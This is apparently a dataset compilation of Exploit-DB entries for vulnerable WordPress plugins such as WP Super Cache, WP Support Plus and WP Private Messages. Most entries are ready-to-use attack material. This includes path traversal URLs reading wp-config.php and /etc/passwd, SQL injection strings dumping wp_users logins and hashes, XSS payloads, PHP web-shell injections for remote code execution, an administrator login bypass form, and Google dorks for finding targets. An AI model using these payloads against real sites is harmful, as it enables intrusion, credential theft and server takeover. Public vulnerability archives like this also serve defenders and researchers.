deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36733
Description: WordPress Plugin WP Mobile Edition 2.7 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2015-04-13
Author: Khwanchai Kaewyos

Exploit:
# Exploit Title: Wordpress Plugin 'WP Mobile Edition' Remote File Disclosure Vulnerability
# Date: April 11, 2015
# Exploit Author: @LookHin (Khwanchai Kaewyos)
# Google Dork: inurl:?fdx_switcher=mobile
# Vendor Homepage: https://wordpress.org/plugins/wp-mobile-edition/
# Software Link: https://downloads.wordpress.org/plugin/wp-mobile-edition.2.2.7.zip
# Version:  WP Mobile Edition Version 2.2.7

- Overview:
Wordpress Plugin 'WP Mobile Edition' is not filtering data in GET parameter 'files' in file 'themes/mTheme-Unus/css/css.php'

- Search on Google
inurl:?fdx_switcher=mobile

- POC
Exploit view source code wp-config.php
http://[server]/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php
Exploit-DB #31776
Description: WordPress Plugin WP Photo Album - 'photo' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-09
Author: THE_MILLER

Exploit:
source: https://www.securityfocus.com/bid/29148/info

The WordPress WP Photo Album (WPPA) plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/photos/?album=1&photo=-11111+union+select+concat(user_login,char(45),user_pass)+from+wp_users--
http://www.example.com/?page_id=[gallerypage]&album=10&photo=-16+union+select+concat(user_login,char(45),user_pass)+from+wp_users--
Exploit-DB #35674
Description: WordPress Plugin WP Photo Album 1.5.1 - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-28
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47622/info

The WP Photo Album plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WP Photo Album 1.5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=wp-photo-album/wppa.php&tab=del&id=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #49921
Description: WordPress Plugin WP Prayer version 1.6.1 - 'prayer_messages' Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2021-06-01
Author: Bastijn Ouwendijk

Exploit:
# Exploit Title: WordPress Plugin WP Prayer version 1.6.1 - 'prayer_messages' Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 2021-05-31
# Exploit Author: Bastijn Ouwendijk
# Vendor Homepage: http://goprayer.com/
# Software Link: https://wordpress.org/plugins/wp-prayer/
# Version: 1.6.1 and earlier
# Tested on: Windows 10
# Proof: https://bastijnouwendijk.com/cve-2021-24313/

Steps to exploit this vulnerability:

1. Log into the WordPress website with a user account, can be a user with any role
2. Go to the page where prayer or praise request can be made and fill in the requested information
3. In the 'prayer_messages' field of the prayer request form put the payload: <script>alert("XSS")</script>
4. Submit the form
5. Go to the page where the prayer requests are listed
6. The prayer requests are loaded and an alert is shown with text 'XSS' in the browser
Exploit-DB #38606
Description: WordPress Plugin WP Private Messages - 'msgid' SQL Injection
Type: webapps
Platform: php
Date: 2013-06-29
Author: IeDb ir

Exploit:
source: https://www.securityfocus.com/bid/60854/info

WP Private Messages plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-admin/profile.php?page=wp-private-messages/wpu_private_messages.php&wpu=reply&msgid=[Sql]
Exploit-DB #40940
Description: WordPress Plugin WP Private Messages 1.0.1 - SQL Injection (1)
Type: webapps
Platform: php
Date: 2016-12-16
Author: Lenon Leite

Exploit:
# Exploit Title:  WP Private Messages 1.0.1 – Plugin WordPress – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/wp-private-messages/
 
# Software Link: https://wordpress.org/plugins/wp-private-messages/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.0.1
# Tested on: Ubuntu 14.04

1 - Description:

Type user access: registered user.  
$_GET[‘id’] is not escaped. Url is accessible for every registered user.

http://lenonleite.com.br/en/blog/2016/12/16/wp-private-messages-1-0-1-plugin-wordpress-sql-injection/

2 - Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 -Using :

http://target/wp-admin/users.php?page=wp-private-messages%2Fwpu_private_messages.php&wpu=readid=0+UNION+SELECT+1,2,2,name,slug,6,7,8,9,10,11,12+FROM+wp_terms+WHERE++term_id%3D1&r=recieved

Obs: Use id number of your user in third column after word select. For example:

…UNION+SELECT+1,2,1,name,slug…

…UNION+SELECT+1,2,2,name,slug…

…UNION+SELECT+1,2,3,name,slug…

…UNION+SELECT+1,2,4,name,slug…

…UNION+SELECT+1,2,5,name,slug…

3 - Timeline:

    12/12/2016 – Discovered
    13/12/2016 – Vendor not finded
Exploit-DB #41180
Description: WordPress Plugin WP Private Messages 1.0.1 - SQL Injection (2)
Type: webapps
Platform: php
Date: 2017-01-27
Author: Lenon Leite

Exploit:
# Exploit Title:  WP Email Users – 1.4.1 – Plugin WordPress – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/wp-email-users/
# Software Link: https://wordpress.org/plugins/wp-email-users/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.3.1
# Tested on: Ubuntu 14.04

1 - Description:

Type user access:  is accessible for any registered user

$_REQUEST[‘edit’] is escaped wrong. Attack with Sql Injection

http://lenonleite.com.br/blog/2017/01/17/english-wp-email-users-1-4-1-plugin-wordpress-sql-injection/

2 - Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 – Using:

<form action="http://localhost:8080/wp-admin/admin-ajax.php" method="post">
    <input type="text" name="action" value="weu_my_action">
    <input type="text" name="filetitle" value="0 UNION SELECT CONCAT(name,char(58),slug) FROM wp_terms WHERE  term_id=1">
    <input type="text" name="temp_sel_key" value="select_temp">
    <input type="submit" name="">
</form>


3 - Timeline:

    12/01/2016 – Discovered
    13/12/2016 – Vendor not finded
Exploit-DB #35263
Description: WordPress Plugin WP Publication Archive 2.0.1 - 'file' Information Disclosure
Type: webapps
Platform: php
Date: 2011-01-23
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46000/info

The WP Publication Archive Plugin for WordPress is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.

An attacker can exploit this issue to download arbitrary files from the affected application. This may allow the attacker to obtain sensitive information; other attacks are also possible.

WP Publication Archive 2.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/wp-publication-archive/includes/openfile.php?file=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../windows/win.ini
Exploit-DB #39252
Description: WordPress Plugin WP Rss Poster - '/wp-admin/admin.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-05-28
Author: Anant Shrivastava

Exploit:
source: https://www.securityfocus.com/bid/68557/info

WP Rss Poster plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WP Rss Poster 1.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=wrp-add-new&id=2 union select 1,user(),database(),4,5,6,7,8,9,10,11,12,13,14,15,@@version,17,18
Exploit-DB #44371
Description: WordPress Plugin WP Security Audit Log 3.1.1 - Sensitive Information Disclosure
Type: webapps
Platform: php
Date: 2018-03-30
Author: Colette Chamberland

Exploit:
# Exploit Title: WP Security Audit Log Plugin, Sensitive Information Disclosure <= 3.1.1 
# Google Dork: inurl:/wp-content/uploads/wp-security-audit-log/
# Date: 3/13/2018
# Exploit Author: Colette Chamberland, Defiant, Inc.
# Vendor Homepage: http://wpwhitesecurity.com
# Software Link: https://wordpress.org/plugins/wp-security-audit-log/
# Version: <=3.1.1
# Tested on: Wordpress 4.9.x
# CVE : CVE-2018-8719

Description:
No protection on the wp-content/uploads/wp-security-audit-log/*
which is indexed by google and allows for attackers to possibly find user information (bad login attempts)

/wp-security-audit-log/classes/Sensors/System.php':
$upload_dir = wp_upload_dir();
$uploads_dir_path = trailingslashit( $upload_dir['basedir'] ) . 'wp-security-audit-log/404s/users/';
$uploads_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-security-audit-log/404s/users/';

/wp-security-audit-log/classes/Sensors/LogInOut.php':
// Directory for logged in users log files.
		$user_upload_dir    = wp_upload_dir();
		$user_upload_path   = trailingslashit( $user_upload_dir['basedir'] . '/wp-security-audit-log/failed-logins/' );
		if ( ! $this->CheckDirectory( $user_upload_path ) ) {
			wp_mkdir_p( $user_upload_path );
		}
Exploit-DB #48093
Description: WordPress Plugin WP Sitemap Page 1.6.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-02-18
Author: Ultra Security Team

Exploit:
# Exploit Title: WordPress Plugin WP Sitemap Page 1.6.2 - Persistent Cross-Site Scripting
# Dork:N/A
# Date: 2020-02-17
# Exploit Author: UltraSecurityTeam
# Team Member = Ashkan Moghaddas , AmirMohammad Safari , Behzad khalife , Milad Ranjbar
# Vendor Homepage: UltraSec.Org
# Software Link: https://downloads.wordpress.org/plugin/wp-sitemap-page.zip
# Tested on: Windows/Linux
# Version: 1.6.2



.:: Plugin Description ::.
An easy way to add a sitemap on one of your pages becomes reality thanks to this WordPress plugin. Just use the shortcode [wp_sitemap_page] on any of your pages. This will automatically generate a sitemap of all your pages and posts


.:: Proof Of Concept (PoC) ::.

Step 1 - Open WordPress Setting 
Step 2 - Open Wp Sitemap Page
Step 3 - Inject Your Java Script Codes to  Exclude pages 
Step 4 - Click Button Save Changes
Step 5 - Run Your Payload


.:: Tested Payload ::.
'>"><script>alert(/XSS By UltraSecurity/)</script>


.:: Post Request ::.
option_page=wp-sitemap-page&action=update&_wpnonce=de5e7c2417&_wp_http_referer=%2Fwp%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp_sitemap_page%26settings-updated%3Dtrue&wsp_posts_by_category=&wsp_exclude_pages=%27%3E%22%3E%3Cscript%3Ealert%28%2FXSS+By+UltraSecurity%2F%29%3C%2Fscript%3E&wsp_exclude_cpt_archive=1&wsp_exclude_cpt_author=1&submit=Save+Changes
Exploit-DB #50268
Description: WordPress Plugin WP Sitemap Page 1.6.4 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-09-07
Author: Nikhil Kapoor

Exploit:
# Exploit Title: WordPress Plugin WP Sitemap Page 1.6.4 - Stored Cross-Site Scripting (XSS)
# Date: 07/09/2021
# Exploit Author: Nikhil Kapoor
# Software Link: https://wordpress.org/plugins/wp-sitemap-page/
# Version: 1.6.4
# Category: Web Application
# Tested on Windows

How to Reproduce this Vulnerability:

1. Install WordPress 5.8.0
2. Install and activate WP Sitemap Page
3. Navigate to Settings >> WP Sitemap Page >> Settings and enter the XSS payload into the "How to display the posts" Input field.
4. Click Save Changes.
5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload is executing successfully and we are getting a pop-up.
6. Payload Used: </textarea><svg/onload=confirm('XSS')>
Exploit-DB #38494
Description: WordPress Plugin WP Super Cache - PHP Remote Code Execution
Type: webapps
Platform: php
Date: 2013-04-24
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/59470/info

The WP Super Cache plugin for WordPress is prone to a remote PHP code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary PHP code within the context of the web server.

WP Super Cache 1.2 is vulnerable; other versions may also be affected. 

<!?mfunc echo PHP_VERSION; ?><!?/mfunc?>
Exploit-DB #49718
Description: WordPress Plugin WP Super Cache 1.7.1 - Remote Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2021-03-29
Author: m0ze

Exploit:
# Exploit Title: WordPress Plugin WP Super Cache 1.7.1 - Remote Code Execution (Authenticated)
# Google Dork: inurl:/wp-content/plugins/wp-super-cache/
# Date: 2021-03-13
# Exploit Author: m0ze
# Version: <= 1.7.1
# Software Link: https://wordpress.org/plugins/wp-super-cache/


### -- [ Info: ]

[i] An Authenticated RCE vulnerability was discovered in the WP Super Cache plugin through 1.7.1 for WordPress.

[i] RCE due to input validation failure and weak $cache_path check in the WP Super Cache Settings -> Cache Location option. Direct access to the wp-cache-config.php file is not prohibited, so this vulnerability can be exploited for a web shell injection.

[i] Another possible attack vector: from XSS to RCE.

### -- [ Impact: ]

[~] Full compromise of the vulnerable web application and also web server.

### -- [ Payloads: ]

[$] ';system($_GET[13]);include_once \'wp-cache-config.php\';'

[$] ';`$_GET[13]`;include_once \'wp-cache-config.php\';?><!--

[$] ';`$_GET[13]`;#


### -- [ PoC #1 | Authenticated RCE | Cache Location: ]

[!] POST /wp-admin/options-general.php?page=wpsupercache&tab=settings
HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 501
Cookie: [cookies]

_wpnonce=88a432b100&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwpsupercache%26tab%3Dsettings&action=scupdates&wp_cache_enabled=1&wp_cache_mod_rewrite=0&wp_cache_not_logged_in=2&cache_rebuild_files=1&wp_cache_location=%2Fvar%2Fwww%2Fyour%2Fown%2Fpath%2Fexample.com%2Fwp-content%2Fcache%2F%27%3Bsystem%28%24_GET%5B13%5D%29%3Binclude_once+%5C%27wp-cache-config.php%5C%27%3B%27&_wpnonce=88a432b100&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwpsupercache%26tab%3Dsettings



### -- [ PoC #2 | From XSS to RCE | Cache Location: ]

[!] https://m0ze.ru/payload/wp-super-cache-rce.js

[!] https://m0ze.ru/payload/wp-super-cache-rce-j.js
Exploit-DB #49839
Description: Wordpress Plugin WP Super Edit 2.5.4 - Remote File Upload
Type: webapps
Platform: php
Date: 2021-05-06
Author: h4shur

Exploit:
# Title: Wordpress Plugin WP Super Edit 2.5.4 - Remote File Upload
# Author: h4shur
# date: 2021-05-06
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/plugins/wp-super-edit/
# Version : 2.5.4 and earlier
# Tested on: Windows 10 & Google Chrome
# Category : Web Application Bugs
# Dork : 
# inurl:"wp-content/plugins/wp-super-edit/superedit/"
# inurl:"wp-content/plugins/wp-super-edit/superedit/tinymce_plugins/mse/fckeditor/editor/filemanager/upload/"


### Note:

# 1. Technical Description:
This plugin allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment. Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored. 

# 2. Technical Description:
WordPress Plugin "wp-super-edit" allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment. This vulnerability is caused by FCKeditor in this plugin. Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step. The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored.

### POC:

* Exploit 1 : site.com/wp-content/plugins/wp-super-edit/superedit/tinymce_plugins/mse/fckeditor/editor/filemanager/browser/default/browser.html
* Exploit 2 : site.com/wp-content/plugins/wp-super-edit/superedit/tinymce_plugins/mse/fckeditor/editor/filemanager/browser/default/connectors/test.html
* Exploit 3 : site.com/wp-content/plugins/wp-super-edit/superedit/tinymce_plugins/mse/fckeditor/editor/filemanager/upload/test.html
* Exploit 4 : site.com/wp-content/plugins/wp-super-edit/superedit/tinymce_plugins/mse/fckeditor/editor/filemanager/browser/default/frmupload.html
Exploit-DB #34589
Description: WordPress Plugin WP Support Plus Responsive Ticket System 2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-09-09
Author: Fikri Fadzil

Exploit:
# Exploit Title: Wordpress WP Support Plus Responsive Ticket System 2.0
Plugin - Multiple Vulnerabilities
# Google Dork: N/A
# Date: 09.09.2014
# Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org
# Vendor Homepage - http://wpsuportplus.byethost7.com/
# Software
http://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Version: 2.0
# Tested on: PHP


Description:
This plugin adds to WordPress the features of a complete ticket system with
100% responsive and 100% Ajax functionality. This allows users to submit
tickets to report problems or get support on whatever you want. Users can
set the status, priority and category of each ticket.


Proof of Concept:

1. SQL INJECTION
URL     : http://localhost/wp-admin/admin-ajax.php
METHOD  : POST
REQUEST : action=openTicket&ticket_id=-1 UNION SELECT
concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7
* any registered user can successfully execute this request


2. FULL PATH DISCLOSURE
a) URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/var/www/wp-content/uploads/2014/09/file.pdf
 * full path to the file will be shown to the user after the file has been
uploaded
b) URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=
 * full path will be shown in PHP error message if parameter "path" is empty


3. DIRECTORY TRAVERSAL
URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/etc/passwd
* any file from the server can be downloaded by giving parameter "path" the
location to the file


4. BROKEN AUTHENTICATION
URL :
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=<any
file path>
* The script "downloadAttachment.php" is accessible for anyone without
having to login.
Exploit-DB #41006
Description: WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation
Type: webapps
Platform: php
Date: 2017-01-10
Author: Kacper Szurek

Exploit:
# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation
# Date: 10-01-2017
# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: web
 
1. Description

You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().

http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html

2. Proof of Concept

<form method="post" action="http://wp/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="administrator">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>

Then you can go to admin panel.
Exploit-DB #40939
Description: WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2016-12-16
Author: Lenon Leite

Exploit:
# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 – WordPress Plugin – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/

# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 7.1.3
# Tested on: Ubuntu 14.04

1 - Description:

Type user access: any user. $_POST[‘cat_id’] is not escaped. Is accessible for any user.

http://lenonleite.com.br/en/blog/2016/12/13/wp-support-plus-responsive-ticket-system-wordpress-plugin-sql-injection/

2 - Proof of Concept:

<form action="http://target/wp-admin/admin-ajax.php" method="post">
<input type="text" name="action" value="wpsp_getCatName">
<input type="text" name="cat_id" value="0 UNION SELECT 1,CONCAT(name,CHAR(58),slug),3 FROM wp_terms WHERE term_id=1">
<input type="submit" name="">
</form>

3 - Timeline:


- 12/12/2016 – Discovered
- 13/12/2016 – Vendor notifed
- 16/12/2016 – Resolve issue version 7.1.5
Exploit-DB #34974
Description: WordPress Plugin WP Survey And Quiz Tool 1.2.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-11-08
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/44707/info

WP Survey And Quiz Tool for Wordpress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WP Survey And Quiz Tool 1.2.1 is vulnerable; other versions may also be affected.

http://www.example.com/wordpress/wp-content/plugins/wp-survey-and-quiz-tool/pages/admin/surveys/create.php?action=%22%3E%3Cscript%3Ealert(0)%3C/script%3E